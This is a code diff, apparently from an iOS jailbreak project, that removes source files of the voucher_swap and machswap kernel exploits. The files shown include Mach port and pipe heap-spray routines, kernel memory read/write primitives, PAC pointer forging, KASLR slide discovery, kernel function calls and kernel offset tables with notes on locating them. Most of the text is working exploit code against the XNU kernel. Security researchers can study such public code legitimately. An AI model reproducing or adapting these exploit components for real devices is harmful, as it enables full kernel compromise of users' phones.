const size_t max_ool_memory_per_message = gc_step;
// How many OOL ports descriptors can we send per message? As many as we'd like, as long
// as:
// 1. we aren't sending more than gc_step bytes of OOL ports in a message,
// 2. we have space for them in the message, and
// 3. we don't blow through the max_ool_ports_per_message limit.
size_t ool_size_ = ports_per_ool * sizeof(uint64_t);
size_t max_ools_by_memory = max_ool_memory_per_message / ool_size_;
size_t max_ools_by_message_size =
(message_size - sizeof(mach_msg_base_t))
/ sizeof(mach_msg_ool_ports_descriptor_t);
size_t max_ools_by_port_limit = max_ool_ports_per_message / ports_per_ool;
size_t ools_per_message_ = min(max_ools_by_memory,
min(max_ools_by_message_size, max_ools_by_port_limit));
// How many OOL port descriptors will we need to spray? Enough to fill all the requested
// memory.
size_t ools_needed_ = (spray_size + ool_size_ - 1) / ool_size_;
// Return the parameters.
*ool_size = ool_size_;
*ools_per_message = ools_per_message_;
*ools_needed = ools_needed_;
}
size_t
ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
mach_msg_type_name_t ool_disposition, size_t spray_size) {
// Compute the parameters for the spray.
size_t ool_size, ools_per_message, ools_needed;
ool_ports_spray_size_with_gc_compute_parameters(ool_port_count, message_size, spray_size,
&ool_size, &ools_per_message, &ools_needed);
// Spray to each of the ports in turn until we've created the requisite number of OOL ports
// allocations.
ssize_t ools_left = ools_needed;
size_t sprayed = 0;
size_t next_gc_step = 0;
size_t port_count = *holding_port_count;
size_t ports_used = 0;
for (; ports_used < port_count && ools_left > 0; ports_used++) {
// Spray this port one message at a time until we've maxed out its queue.
size_t messages_sent = 0;
for (; messages_sent < (kCFCoreFoundationVersionNumber >= kCFCoreFoundationVersionNumber_iOS_12_0 ? MACH_PORT_QLIMIT_MAX : MACH_PORT_QLIMIT_DEFAULT) && ools_left > 0; messages_sent++) {
// If we've crossed the GC sleep boundary, sleep for a bit and schedule the
// next one.
if (sprayed >= next_gc_step) {
next_gc_step += gc_step;
pthread_yield_np();
usleep(10000);
fprintf(stderr, ".");
}
// Send a message.
size_t sent = ool_ports_spray_port(
holding_ports[ports_used],
ool_ports,
ool_port_count,
ool_disposition,
ools_per_message,
message_size,
1);
// If we couldn't send a message to this port, stop trying to send more
// messages and move on to the next port.
if (sent != 1) {
assert(sent == 0);
break;
}
// We sent a full message worth of OOL port descriptors.
sprayed += ools_per_message * ool_size;
ools_left -= ools_per_message;
}
}
fprintf(stderr, "\n");
// Return the number of ports actually used and the number of bytes actually sprayed.
*holding_port_count = ports_used;
return sprayed;
}
void
port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)) {
kern_return_t kr;
mach_msg_option_t options = MACH_RCV_MSG | MACH_RCV_LARGE | MACH_RCV_TIMEOUT
| MACH_RCV_TRAILER_TYPE(MACH_MSG_TRAILER_FORMAT_0)
| MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_NULL);
// Allocate an initial message buffer.
mach_msg_size_t msg_size = 0x4000;
mach_msg_base_t *msg = malloc(msg_size);
assert(msg != NULL);
// Loop through all the messages queued on the port.
for (;;) {
// Try to receive the message. If the buffer isn't big enough, reallocate
// and try again. This should only happen twice.
for (size_t try = 0;; try++) {
assert(try < 2);
// Receive the message.
kr = mach_msg(
&msg->header,
options,
0,
msg_size,
port,
0,
MACH_PORT_NULL);
if (kr != MACH_RCV_LARGE) {
break;
}
// The buffer was too small, increase it.
msg_size = msg->header.msgh_size + REQUESTED_TRAILER_SIZE(options);
SafeFreeNULL(msg);
msg = malloc(msg_size);
assert(msg != NULL);
}
// If we got an error, stop processing messages on this port. If the error is a
// timeout, that means that we've exhausted the queue, so don't print an error
// message.
if (kr != KERN_SUCCESS) {
if (kr != MACH_RCV_TIMED_OUT) {
ERROR("%s returned %d: %s", "mach_msg", kr, mach_error_string(kr));
}
break;
}
// Pass the message to the message handler.
message_handler(&msg->header);
}
// Clean up resources.
SafeFreeNULL(msg);
}
void
port_discard_messages(mach_port_t port) {
port_drain_messages(port, ^(mach_msg_header_t *header) {
mach_msg_destroy(header);
});
}
void
ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
void (^ool_ports_handler)(mach_port_t *, size_t)) {
// Loop through all the ports.
for (size_t port_index = 0; port_index < holding_port_count; port_index++) {
// Handle each message on the port.
port_drain_messages(holding_ports[port_index], ^(mach_msg_header_t *msg0) {
struct ool_ports_msg *msg = (struct ool_ports_msg *)msg0;
// We've successfully received a message. Make sure it's the type we
// expect.
if (msg->header.msgh_id != 'ools') {
WARNING("received unexpected message id 0x%x",
msg->header.msgh_id);
goto done;
}
if (!MACH_MSGH_BITS_IS_COMPLEX(msg->header.msgh_bits)) {
WARNING("skipping non-complex message");
goto done;
}
// Go through the descriptors one at a time passing them to the handler
// block.
mach_msg_descriptor_t *d = (mach_msg_descriptor_t *)&msg->ool_ports[0];
for (size_t i = 0; i < msg->body.msgh_descriptor_count; i++) {
void *next;
switch (d->type.type) {
case MACH_MSG_OOL_PORTS_DESCRIPTOR:
next = &d->ool_ports + 1;
mach_port_t *ports = (mach_port_t *)
d->ool_ports.address;
size_t count = d->ool_ports.count;
ool_ports_handler(ports, count);
break;
default:
WARNING("unexpected descriptor type %u",
d->type.type);
goto done;
}
d = (mach_msg_descriptor_t *)next;
}
done:
// Discard the message.
mach_msg_destroy(&msg->header);
});
}
}
void
increase_file_limit() {
struct rlimit rl = {};
int error = getrlimit(RLIMIT_NOFILE, &rl);
assert(error == 0);
rl.rlim_cur = 10240;
rl.rlim_max = rl.rlim_cur;
error = setrlimit(RLIMIT_NOFILE, &rl);
if (error != 0) {
ERROR("could not increase file limit");
}
error = getrlimit(RLIMIT_NOFILE, &rl);
assert(error == 0);
if (rl.rlim_cur != 10240) {
ERROR("file limit is %llu", rl.rlim_cur);
}
}
void
pipe_close(int pipefds[2]) {
close(pipefds[0]);
close(pipefds[1]);
}
/*
* set_nonblock
*
* Description:
* Set the O_NONBLOCK flag on the specified file descriptor.
*/
static void
set_nonblock(int fd) {
int flags = fcntl(fd, F_GETFL);
flags |= O_NONBLOCK;
fcntl(fd, F_SETFL, flags);
}
int *
create_pipes(size_t *pipe_count) {
// Allocate our initial array.
size_t capacity = *pipe_count;
int *pipefds = calloc(2 * capacity, sizeof(int));
assert(pipefds != NULL);
// Create as many pipes as we can.
size_t count = 0;
for (; count < capacity; count++) {
// First create our pipe fds.
int fds[2] = { -1, -1 };
int error = pipe(fds);
// Unfortunately pipe() seems to return success with invalid fds once we've
// exhausted the file limit. Check for this.
if (error != 0 || fds[0] < 0 || fds[1] < 0) {
pipe_close(fds);
break;
}
// Mark the write-end as nonblocking.
set_nonblock(fds[1]);
// Store the fds.
pipefds[2 * count + 0] = fds[0];
pipefds[2 * count + 1] = fds[1];
}
// Truncate the array to the smaller size.
int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int));
assert(new_pipefds != NULL);
// Return the count and the array.
*pipe_count = count;
return new_pipefds;
}
void
close_pipes(int *pipefds, size_t pipe_count) {
for (size_t i = 0; i < pipe_count; i++) {
pipe_close(pipefds + 2 * i);
}
}
size_t
pipe_spray(const int *pipefds, size_t pipe_count,
void *pipe_buffer, size_t pipe_buffer_size,
void (^update)(uint32_t pipe_index, void *data, size_t size)) {
assert(pipe_count <= 0xffffff);
assert(pipe_buffer_size > 512);
size_t write_size = pipe_buffer_size - 1;
size_t pipes_filled = 0;
for (size_t i = 0; i < pipe_count; i++) {
// Update the buffer.
if (update != NULL) {
update((uint32_t)i, pipe_buffer, pipe_buffer_size);
}
// Fill the write-end of the pipe with the buffer. Leave off the last byte.
int wfd = pipefds[2 * i + 1];
ssize_t written = write(wfd, pipe_buffer, write_size);
if (written != write_size) {
// This is most likely because we've run out of pipe buffer memory. None of
// the subsequent writes will work either.
break;
}
pipes_filled++;
}
return pipes_filled;
}
-291
View File
@@ -1,291 +0,0 @@
/*
* kernel_alloc.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
#define VOUCHER_SWAP__KERNEL_ALLOC_H_
#include <mach/mach.h>
#include <stddef.h>
/*
* message_size_for_kalloc_size
*
* Description:
* Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
* kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
* could be slightly small.
*/
size_t message_size_for_kalloc_size(size_t kalloc_size);
/*
* kalloc_size_for_message_size
*
* Description:
* Return the kalloc allocation size corresponding to sending a message of the specified size.
*
* This is only correct for messages large enough that the ipc_kmsg struct is allocated with
* kalloc().
*/
size_t kalloc_size_for_message_size(size_t message_size);
/*
* ipc_kmsg_size_for_message_size
*
* Description:
* Return the allocation size of the ipc_kmsg for the given message size.
*/
size_t ipc_kmsg_size_for_message_size(size_t message_size);
/*
* ool_ports_spray_port
*
* Description:
* Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
* with the given ports. The goal is to spray the target kalloc zone with many copies of a
* particular array of OOL ports.
*
* Make sure that the port's queue limits are sufficient to hold the specified number of
* messages.
*
* Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
* enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
* sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
* the OOL ports spray.
*
* There are limits on the number of OOL ports that can be sent in a message, the number of
* descriptors in a message, and the number of messages that can be queued on a port. Be sure
* that the parameters you supply are valid, since this function does not check whether or not
* the kernel will let your message through (or even whether they make sense).
*
* Parameters:
* holding_port The port on which to enqueue the Mach messages.
* ool_ports The OOL Mach ports to spray.
* port_count The number of OOL Mach ports.
* ool_disposition The disposition to send the OOL ports.
* ool_count The number of OOL ports descriptors to send per message.
* message_size The size of each message.
* message_count The number of messages to enqueue on the holding port.
*
* Returns:
* Returns the number of messages that were successfully sent.
*/
size_t ool_ports_spray_port(mach_port_t holding_port,
const mach_port_t *ool_ports, size_t port_count,
mach_msg_type_name_t ool_disposition, size_t ool_count,
size_t message_size, size_t message_count);
/*
* kalloc_spray_port
*
* Description:
* Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
* messages containing OOL ports to the specified holding port. Returns the number of kalloc
* allocations that were actually performed.
*
* The point of this function is to quickly make as many kalloc allocations in the target zone
* as possible using the specified holding port. The way we do this is by sending messages
* with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
* struct for the message and the OOL port arrays fall into the target kalloc zone. We will
* continue sending messages to the port until either we've created the required number of
* allocations or we've filled up the port's message queue.
*
* To free the allocations, call mach_port_destroy() on the holding port. Note that this will
* also free the holding port if there are no other references.
*
* Parameters:
* holding_port The port on which to enqueue the Mach messages.
* min_kalloc_size The minimum sized allocation that is handled by this zone.
* kalloc_zone The kalloc zone in which to spray allocations.
* kalloc_count The desired number of allocations to make.
*
* Returns:
* Returns the number of kalloc allocations actually made, which may be less than the number
* requested if the port fills up or if an error is encountered.
*/
size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
size_t kalloc_count);
/*
* kalloc_spray_size
*
* Description:
* Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
* messages containing OOL ports to the given holding ports.
*
* See kalloc_spray_port().
*
* To free the allocations, call destroy_ports() on the holding ports. Note that
* destroy_ports() will also free the holding ports themselves if there are no other
* references.
*
* Parameters:
* holding_ports The array of holding ports.
* port_count inout On entry, the number of holding ports available. On exit,
* the number of holding ports used.
* min_kalloc_size The minimum sized allocation that is handled by this zone.
* kalloc_zone The kalloc zone in which to spray allocations.
* spray_size The number of bytes to try and spray to the target zone.
*
* Returns:
* Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
* the requested size if an error is encountered or more than the requested size if the spray
* size was not an even multiple of the zone size.
*/
size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
/*
* ool_ports_spray_size_with_gc
*
* Description:
* Spray spray_size bytes of kernel memory with the specified out-of-line ports.
*
* Parameters:
* holding_ports The array of holding ports.
* holding_port_count inout On entry, the number of holding ports available. On exit,
* the number of holding ports used.
* message_size The size of each message to send. This parameter should be
* chosen carefully, as allocations will be taken out of the
* corresponding kalloc zone.
* ool_ports The OOL Mach ports to spray.
* ool_port_count The number of OOL Mach ports.
* ool_disposition The disposition to send the OOL ports.
* spray_size The number of bytes of OOL ports to try and spray.
*
* Returns:
* Returns the number of bytes of OOL ports actually sprayed.
*/
size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
mach_msg_type_name_t ool_disposition, size_t spray_size);
/*
* create_ports
*
* Description:
* Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
* longer needed, deallocate it with SafeFreeNULL().
*/
mach_port_t *create_ports(size_t count);
/*
* destroy_ports
*
* Description:
* Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
*/
void destroy_ports(mach_port_t *ports, size_t count);
/*
* deallocate_ports
*
* Description:
* Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
*/
void deallocate_ports(mach_port_t *ports, size_t count);
/*
* port_increase_queue_limit
*
* Description:
* Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
*/
void port_increase_queue_limit(mach_port_t port);
/*
* port_insert_send_right
*
* Description:
* Insert a send right on the specified port, which must name a receive right.
*/
void port_insert_send_right(mach_port_t port);
/*
* port_drain_messages
*
* Description:
* Drain all the messages currently queued on the specified port. The messages are passed to
* the message_handler block, which is responsible for processing the messages and freeing any
* associated resources (e.g. with mach_msg_destroy()).
*/
void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
/*
* port_discard_messages
*
* Description:
* Discard all the messages currently queued on the specified port. The messages are received
* and passed directly to mach_msg_destroy().
*/
void port_discard_messages(mach_port_t port);
/*
* ool_ports_spray_receive
*
* Description:
* Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
* the specified handler block. The messages are destroyed after they are processed.
*/
void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
void (^ool_ports_handler)(mach_port_t *, size_t));
/*
* increase_file_limit
*
* Description:
* Increase our process's limit on the number of open files.
*/
void increase_file_limit(void);
/*
* pipe_close
*
* Description:
* Close the file descriptors of a pipe.
*/
void pipe_close(int pipefds[2]);
/*
* create_pipes
*
* Description:
* Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
* on return it contains the number of pipes actually created.
*
* The pipes are returned as an array of file descriptors.
*/
int *create_pipes(size_t *pipe_count);
/*
* close_pipes
*
* Description:
* Close the pipes in an array.
*/
void close_pipes(int *pipefds, size_t pipe_count);
/*
* pipe_spray
*
* Description:
* Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
* 16 MB, so that's the maximum we'll be able to spray.
*
* Note that the last byte of the sprayed data won't be written to memory!
*
* Parameters:
* pipefds The pipe file descriptors.
* pipe_count The number of pipe fd pairs.
* pipe_buffer The data to spray.
* pipe_buffer_size The size of the data to spray.
* update A callback to modify the data on each iteration.
*
* Returns:
* Returns the number of pipes actually filled.
*/
size_t pipe_spray(const int *pipefds, size_t pipe_count,
void *pipe_buffer, size_t pipe_buffer_size,
void (^update)(uint32_t pipe_index, void *data, size_t size));
#endif
-44
View File
@@ -1,44 +0,0 @@
/*
* kernel_call.c
* Brandon Azad
*/
#include "kernel_call.h"
#include <assert.h>
#include "pac.h"
#include "user_client.h"
#include "log.h"
// ---- Public API --------------------------------------------------------------------------------
bool
kernel_call_init() {
bool ok = stage1_kernel_call_init()
&& stage2_kernel_call_init()
&& stage3_kernel_call_init();
if (!ok) {
kernel_call_deinit();
}
return ok;
}
void
kernel_call_deinit() {
stage3_kernel_call_deinit();
stage2_kernel_call_deinit();
stage1_kernel_call_deinit();
}
uint32_t
kernel_call_7(uint64_t function, size_t argument_count, ...) {
assert(argument_count <= 7);
uint64_t arguments[7];
va_list ap;
va_start(ap, argument_count);
for (size_t i = 0; i < argument_count && i < 7; i++) {
arguments[i] = va_arg(ap, uint64_t);
}
va_end(ap);
return kernel_call_7v(function, argument_count, arguments);
}
-93
View File
@@ -1,93 +0,0 @@
/*
* kernel_call.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_CALL_H_
#define VOUCHER_SWAP__KERNEL_CALL_H_
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
/*
* kernel_call_init
*
* Description:
* Initialize kernel_call functions.
*/
bool kernel_call_init(void);
/*
* kernel_call_deinit
*
* Description:
* Deinitialize the kernel call subsystem and restore the kernel to a safe state.
*/
void kernel_call_deinit(void);
/*
* kernel_call_7
*
* Description:
* Call a kernel function with the specified arguments.
*
* Restrictions:
* See kernel_call_7v().
*/
uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...);
/*
* kernel_call_7v
*
* Description:
* Call a kernel function with the specified arguments.
*
* Restrictions:
* At most 7 arguments can be passed.
* arguments[0] must be nonzero.
* The return value is truncated to 32 bits.
*/
uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]);
/*
* kernel_forge_pacia
*
* Description:
* Forge a PACIA pointer using the kernel forging gadget.
*/
uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context);
/*
* kernel_forge_pacia_with_type
*
* Description:
* Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the
* type code, as context.
*/
uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type);
/*
* kernel_forge_pacda
*
* Description:
* Forge a PACDA pointer using the kernel forging gadget.
*/
uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context);
/*
* kernel_xpaci
*
* Description:
* Strip a PACIx code from a kernel pointer.
*/
uint64_t kernel_xpaci(uint64_t pointer);
/*
* kernel_xpacd
*
* Description:
* Strip a PACDx code from a kernel pointer.
*/
uint64_t kernel_xpacd(uint64_t pointer);
#endif
-111
View File
@@ -1,111 +0,0 @@
/*
* kernel_memory.c
* Brandon Azad
*/
#define KERNEL_MEMORY_EXTERN
#include "kernel_memory.h"
#include "log.h"
#include "mach_vm.h"
#include "parameters.h"
// ---- Kernel memory functions -------------------------------------------------------------------
bool
kernel_read(uint64_t address, void *data, size_t size) {
extern bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
return rkbuffer(address, data, size);
}
bool
kernel_write(uint64_t address, const void *data, size_t size) {
extern bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
return wkbuffer(address, (void *)data, size);
}
uint8_t
kernel_read8(uint64_t address) {
uint8_t value;
bool ok = kernel_read(address, &value, sizeof(value));
if (!ok) {
return -1;
}
return value;
}
uint16_t
kernel_read16(uint64_t address) {
uint16_t value;
bool ok = kernel_read(address, &value, sizeof(value));
if (!ok) {
return -1;
}
return value;
}
uint32_t
kernel_read32(uint64_t address) {
uint32_t value;
bool ok = kernel_read(address, &value, sizeof(value));
if (!ok) {
return -1;
}
return value;
}
uint64_t
kernel_read64(uint64_t address) {
uint64_t value;
bool ok = kernel_read(address, &value, sizeof(value));
if (!ok) {
return -1;
}
return value;
}
bool
kernel_write8(uint64_t address, uint8_t value) {
return kernel_write(address, &value, sizeof(value));
}
bool
kernel_write16(uint64_t address, uint16_t value) {
return kernel_write(address, &value, sizeof(value));
}
bool
kernel_write32(uint64_t address, uint32_t value) {
return kernel_write(address, &value, sizeof(value));
}
bool
kernel_write64(uint64_t address, uint64_t value) {
return kernel_write(address, &value, sizeof(value));
}
// ---- Kernel utility functions ------------------------------------------------------------------
bool
kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
uint64_t *ipc_port, uint64_t *ipc_entry) {
// Get the task's ipc_space.
uint64_t itk_space = kernel_read64(task + OFFSET(task, itk_space));
// Get the size of the table.
uint32_t is_table_size = kernel_read32(itk_space + OFFSET(ipc_space, is_table_size));
// Get the index of the port and check that it is in-bounds.
uint32_t port_index = MACH_PORT_INDEX(port_name);
if (port_index >= is_table_size) {
return false;
}
// Get the space's is_table and compute the address of this port's entry.
uint64_t is_table = kernel_read64(itk_space + OFFSET(ipc_space, is_table));
uint64_t entry = is_table + port_index * SIZE(ipc_entry);
if (ipc_entry != NULL) {
*ipc_entry = entry;
}
// Get the address of the port if requested.
if (ipc_port != NULL) {
*ipc_port = kernel_read64(entry + OFFSET(ipc_entry, ie_object));
}
return true;
}
-132
View File
@@ -1,132 +0,0 @@
/*
* kernel_memory.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_MEMORY_H_
#define VOUCHER_SWAP__KERNEL_MEMORY_H_
#include <mach/mach.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#ifdef KERNEL_MEMORY_EXTERN
#define extern KERNEL_MEMORY_EXTERN
#endif
/*
* kernel_task_port
*
* Description:
* The kernel task port.
*/
extern mach_port_t kernel_task_port;
/*
* kernel_task
*
* Description:
* The address of the kernel_task in kernel memory.
*/
extern uint64_t kernel_task;
/*
* current_task
*
* Description:
* The address of the current task in kernel memory.
*/
extern uint64_t current_task;
/*
* kernel_read
*
* Description:
* Read data from kernel memory.
*/
bool kernel_read(uint64_t address, void *data, size_t size);
/*
* kernel_write
*
* Description:
* Write data to kernel memory.
*/
bool kernel_write(uint64_t address, const void *data, size_t size);
/*
* kernel_read8
*
* Description:
* Read a single byte from kernel memory. If the read fails, -1 is returned.
*/
uint8_t kernel_read8(uint64_t address);
/*
* kernel_read16
*
* Description:
* Read a 16-bit value from kernel memory. If the read fails, -1 is returned.
*/
uint16_t kernel_read16(uint64_t address);
/*
* kernel_read32
*
* Description:
* Read a 32-bit value from kernel memory. If the read fails, -1 is returned.
*/
uint32_t kernel_read32(uint64_t address);
/*
* kernel_read64
*
* Description:
* Read a 64-bit value from kernel memory. If the read fails, -1 is returned.
*/
uint64_t kernel_read64(uint64_t address);
/*
* kernel_write8
*
* Description:
* Write a single byte to kernel memory.
*/
bool kernel_write8(uint64_t address, uint8_t value);
/*
* kernel_write16
*
* Description:
* Write a 16-bit value to kernel memory.
*/
bool kernel_write16(uint64_t address, uint16_t value);
/*
* kernel_write32
*
* Description:
* Write a 32-bit value to kernel memory.
*/
bool kernel_write32(uint64_t address, uint32_t value);
/*
* kernel_write64
*
* Description:
* Write a 64-bit value to kernel memory.
*/
bool kernel_write64(uint64_t address, uint64_t value);
/*
* kernel_ipc_port_lookup
*
* Description:
* Get the address of the ipc_port and ipc_entry for a Mach port name.
*/
bool kernel_ipc_port_lookup(uint64_t task, mach_port_name_t port_name,
uint64_t *ipc_port, uint64_t *ipc_entry);
#undef extern
#endif
-90
View File
@@ -1,90 +0,0 @@
/*
* kernel_slide.c
* Brandon Azad
*/
#define KERNEL_SLIDE_EXTERN
#include "kernel_slide.h"
#include <assert.h>
#include <mach/vm_region.h>
#include <mach-o/loader.h>
#include "kernel_memory.h"
#include "log.h"
#include "parameters.h"
#include "platform.h"
uint64_t kernel_slide = -1;
/*
* is_kernel_base
*
* Description:
* Checks if the given address is the kernel base.
*/
static bool
is_kernel_base(uint64_t base) {
// Read the data at the base address as a Mach-O header.
struct mach_header_64 header = {};
bool ok = kernel_read(base, &header, sizeof(header));
if (!ok) {
return false;
}
// Validate that this looks like the kernel base. We don't check the CPU subtype since it
// may not exactly match the current platform's CPU subtype (e.g. on iPhone10,1,
// header.cpusubtype is CPU_SUBTYPE_ARM64_ALL while platform.cpu_subtype is
// CPU_SUBTYPE_ARM64_V8).
if (!(header.magic == MH_MAGIC_64
&& header.cputype == platform.cpu_type
&& header.filetype == MH_EXECUTE
&& header.ncmds > 2)) {
return false;
}
return true;
}
bool
kernel_slide_init() {
if (kernel_slide != -1) {
return true;
}
// Get the address of the host port.
mach_port_t host = mach_host_self();
assert(MACH_PORT_VALID(host));
uint64_t host_port;
bool ok = kernel_ipc_port_lookup(current_task, host, &host_port, NULL);
mach_port_deallocate(mach_task_self(), host);
if (!ok) {
ERROR("could not lookup host port");
return false;
}
// Get the address of realhost.
uint64_t realhost = kernel_read64(host_port + OFFSET(ipc_port, ip_kobject));
return kernel_slide_init_with_kernel_image_address(realhost);
}
bool
kernel_slide_init_with_kernel_image_address(uint64_t address) {
if (kernel_slide != -1) {
return true;
}
// Find the highest possible kernel base address that could still correspond to the given
// kernel image address.
uint64_t base = STATIC_ADDRESS(kernel_base);
assert(address > base);
base = base + ((address - base) / kernel_slide_step) * kernel_slide_step;
// Now walk backwards from that kernel base one kernel slide at a time until we find the
// real kernel base.
while (base >= STATIC_ADDRESS(kernel_base)) {
bool found = is_kernel_base(base);
if (found) {
kernel_slide = base - STATIC_ADDRESS(kernel_base);
DEBUG_TRACE(1, "found kernel slide 0x%016llx", kernel_slide);
return true;
}
base -= kernel_slide_step;
}
ERROR("could not find kernel base");
ERROR("could not determine kernel slide");
return false;
}
-38
View File
@@ -1,38 +0,0 @@
/*
* kernel_slide.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__KERNEL_SLIDE_H_
#define VOUCHER_SWAP__KERNEL_SLIDE_H_
#include <stdbool.h>
#include <stdint.h>
/*
* kernel_slide
*
* Description:
* The kASLR slide.
*/
extern uint64_t kernel_slide;
/*
* kernel_slide_init
*
* Description:
* Find the value of the kernel slide using kernel_read() and current_task.
*/
bool kernel_slide_init(void);
/*
* kernel_slide_init_with_kernel_image_address
*
* Description:
* Find the value of the kernel slide using kernel_read(), starting with an address that is
* known to reside within the kernel image.
*/
bool kernel_slide_init_with_kernel_image_address(uint64_t address);
#undef extern
#endif
-38
View File
@@ -1,38 +0,0 @@
/*
* log.c
* Brandon Azad
*/
#include "log.h"
#include <assert.h>
#include <stdio.h>
#include <stdlib.h>
#import <common.h>
void
log_internal(char type, const char *format, ...) {
if (log_implementation != NULL) {
va_list ap;
va_start(ap, format);
log_implementation(type, format, ap);
va_end(ap);
}
}
// The default logging implementation prints to stderr with a nice hacker prefix.
static void
log_stderr(char type, const char *format, va_list ap) {
char *message = NULL;
vasprintf(&message, format, ap);
assert(message != NULL);
switch (type) {
case 'D': type = 'D'; break;
case 'I': type = '+'; break;
case 'W': type = '!'; break;
case 'E': type = '-'; break;
}
RAWLOG("[%c] %s\n", type, message);
SafeFreeNULL(message);
}
void (*log_implementation)(char type, const char *format, va_list ap) = log_stderr;
-57
View File
@@ -1,57 +0,0 @@
/*
* log.h
* Brandon Azad
*/
#ifndef VOUCHER_SWAP__LOG_H_
#define VOUCHER_SWAP__LOG_H_
#include <stdarg.h>
#include <stdio.h>
/*
* log_implementation
*
* Description:
* This is the log handler that will be executed when code wants to log a message. The default
* implementation logs the message to stderr. Setting this value to NULL will disable all
* logging. Specify a custom log handler to process log messages in another way.
*
* Parameters:
* type A character representing the type of message that is being
* logged.
* format A printf-style format string describing the error message.
* ap The variadic argument list for the format string.
*
* Log Type:
* The type parameter is one of:
* - D: Debug: Used for debugging messages. Set the DEBUG build variable to control debug
* verbosity.
* - I: Info: Used to convey general information about the exploit or its progress.
* - W: Warning: Used to indicate that an unusual but possibly recoverable condition was
* encountered.
* - E: Error: Used to indicate that an unrecoverable error was encountered. The code
* might continue running after an error was encountered, but it probably will
* not succeed.
*/
extern void (*log_implementation)(char type, const char *format, va_list ap);
#define DEBUG_LEVEL(level) (DEBUG && level <= DEBUG)
#if DEBUG
#define DEBUG_TRACE(level, fmt, ...) \
do { \
if (DEBUG_LEVEL(level)) { \
log_internal('D', fmt, ##__VA_ARGS__); \
} \
} while (0)
#else
#define DEBUG_TRACE(level, fmt, ...) do {} while (0)
#endif
#define INFO(fmt, ...) log_internal('I', fmt, ##__VA_ARGS__)
#define WARNING(fmt, ...) log_internal('W', fmt, ##__VA_ARGS__)
#define ERROR(fmt, ...) log_internal('E', fmt, ##__VA_ARGS__)
// A function to call the logging implementation.
void log_internal(char type, const char *format, ...) __printflike(2, 3);
#endif
-11
View File
@@ -1,11 +0,0 @@
#ifndef MACHSWAP2_PWN_H
#define MACHSWAP2_PWN_H
#include <mach/mach.h>
#include "common.h"
#include "machswap_offsets.h"
kern_return_t machswap2_exploit(machswap_offsets_t *offsets);
#endif
File diff suppressed because it is too large Load Diff
-102
View File
@@ -1,102 +0,0 @@
#ifndef MACHSWAP_OFFSETS_H
#define MACHSWAP_OFFSETS_H
typedef struct {
struct {
/* strings kernel | grep 'Darwin' */
const char *release;
cpu_type_t cpu_type;
/* CPU_SUBTYPE for supported */
cpu_subtype_t cpu_subtype;
/* basically will always be: 0xfffffff007004000 */
uint64_t kernel_image_base;
} constant;
struct {
/*
nm kernel | grep '_proc_pid'
'ldr w0, [x0, #offset]
*/
uint32_t proc_pid;
/*
nm kernel | grep '_proc_task'
'ldr x0, [x0, #offset]
*/
uint32_t proc_task;
/*
nm kernel | grep '_proc_ucred'
'ldr x0, [x0, #offset]
*/
uint32_t proc_ucred;
/*
nm kernel | grep '_get_task_map'
'ldr x0, [x0, #offset]
*/
uint32_t task_vm_map;
/*
nm kernel | grep '_get_bsdtask_info'
'ld rx0, [x0, #offset]
*/
uint32_t task_bsd_info;
/*
joker -m kernel | grep 'task_self_trap'
go into 'bl' call
near the start of the func, just after _lck_mtx_lock,
it will load two values from a reg and compare them
one is later loaded into x0, this is the one you *dont'* want
you need the offset of the one which *isn't* later loaded into x0
ldr xN, [xN, #offset]
image: https://i.imgur.com/RlauIez.png
*/
uint32_t task_itk_self;
/*
joker -m kernel | grep mach_ports_lookup
about 1/3rd the way into the func it will load a value from a reg,
call a function, and store the return value, 3 times in a row
it will load from 3 offsets such as 0x2F0, 0x2F8, and 0x300 (notice they are all contiguous)
the lowest of the three offsets is the one you want
image: https://i.imgur.com/0M1mUSM.png
(note the repeating pattern of 'ldr x0, [x20, #offset]', 'bl identical_func', 'str x0, [x21 #off]')
*/
